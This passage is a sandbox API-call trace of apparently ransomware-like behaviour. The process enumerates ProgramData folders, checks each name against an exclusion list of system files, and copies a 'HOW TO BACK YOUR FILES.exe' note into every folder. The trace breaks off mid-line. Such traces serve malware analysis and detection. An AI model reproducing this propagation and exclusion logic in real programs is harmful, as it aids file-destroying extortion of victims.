ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0097.574] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0097.574] lstrlenW (lpString="Adobe") returned 5 [0097.574] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0097.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a40 [0097.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x52d4f8 [0097.574] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0097.574] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0097.575] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.575] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0097.575] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0097.575] lstrlenW (lpString="Application Data") returned 16 [0097.575] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0097.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a10 [0097.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x514ea8 [0097.576] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0097.576] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0097.576] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.576] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0097.576] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.576] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.576] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0097.576] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0097.576] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0097.576] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0097.576] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0097.576] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0097.576] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0097.577] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0097.577] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0097.577] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0097.577] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0097.577] lstrlenW (lpString="Desktop") returned 7 [0097.577] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0097.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5309e0 [0097.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53b2a0 [0097.577] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0097.577] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0097.577] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.577] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0097.577] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.577] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0097.578] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0097.578] lstrlenW (lpString="Documents") returned 9 [0097.578] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0097.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5309c8 [0097.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53b320 [0097.578] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0097.578] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0097.578] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.579] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1 [0097.579] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1 [0097.579] lstrlenW (lpString="Favorites") returned 9 [0097.579] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0097.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5309b0 [0097.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53b3a0 [0097.579] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0097.579] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0097.579] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.580] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9e9c2a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.580] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.581] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0097.581] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.582] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.582] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0097.582] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0097.582] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0097.582] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0097.583] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0097.583] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0097.583] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0097.583] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0097.583] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0097.587] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0097.587] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0097.587] lstrlenW (lpString="Microsoft") returned 9 [0097.587] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0097.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530998 [0097.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53b420 [0097.587] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0097.587] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0097.587] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.588] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc4b2fda0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1 [0097.588] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1 [0097.588] lstrlenW (lpString="Microsoft Help") returned 14 [0097.588] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0097.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530980 [0097.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x519e60 [0097.589] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0097.589] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0097.589] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.589] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1 [0097.589] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1 [0097.590] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1 [0097.590] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1 [0097.590] lstrlenW (lpString="Mozilla") returned 7 [0097.590] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0097.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530950 [0097.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53b4a0 [0097.590] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0097.590] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0097.590] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.590] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0097.590] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.590] lstrcmpiW (lpString1="Oracle", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.590] lstrcmpiW (lpString1="Oracle", lpString2=".") returned 1 [0097.590] lstrcmpiW (lpString1="Oracle", lpString2="..") returned 1 [0097.590] lstrcmpiW (lpString1="Oracle", lpString2="windows") returned -1 [0097.591] lstrcmpiW (lpString1="Oracle", lpString2="bootmgr") returned 1 [0097.591] lstrcmpiW (lpString1="Oracle", lpString2="temp") returned -1 [0097.591] lstrcmpiW (lpString1="Oracle", lpString2="pagefile.sys") returned -1 [0097.591] lstrcmpiW (lpString1="Oracle", lpString2="boot") returned 1 [0097.591] lstrcmpiW (lpString1="Oracle", lpString2="ids.txt") returned 1 [0097.591] lstrcmpiW (lpString1="Oracle", lpString2="ntuser.dat") returned 1 [0097.591] lstrcmpiW (lpString1="Oracle", lpString2="perflogs") returned -1 [0097.591] lstrcmpiW (lpString1="Oracle", lpString2="MSBuild") returned 1 [0097.591] lstrlenW (lpString="Oracle") returned 6 [0097.591] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle" [0097.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530920 [0097.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52d480 [0097.591] lstrcatW (in: lpString1="Oracle", lpString2="\\" | out: lpString1="Oracle\\") returned="Oracle\\" [0097.591] lstrcatW (in: lpString1="Oracle\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Oracle\\HOW TO BACK YOUR FILES.exe") returned="Oracle\\HOW TO BACK YOUR FILES.exe" [0097.591] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.591] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0097.592] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.592] lstrcmpiW (lpString1="Package Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.592] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache" [0097.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b9c0 [0097.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519ee8 [0097.592] lstrcatW (in: lpString1="Package Cache", lpString2="\\" | out: lpString1="Package Cache\\") returned="Package Cache\\" [0097.592] lstrcatW (in: lpString1="Package Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Package Cache\\HOW TO BACK YOUR FILES.exe") returned="Package Cache\\HOW TO BACK YOUR FILES.exe" [0097.592] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.592] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0097.593] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.593] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.593] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0097.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b9d8 [0097.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53b520 [0097.593] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0097.593] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0097.593] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application 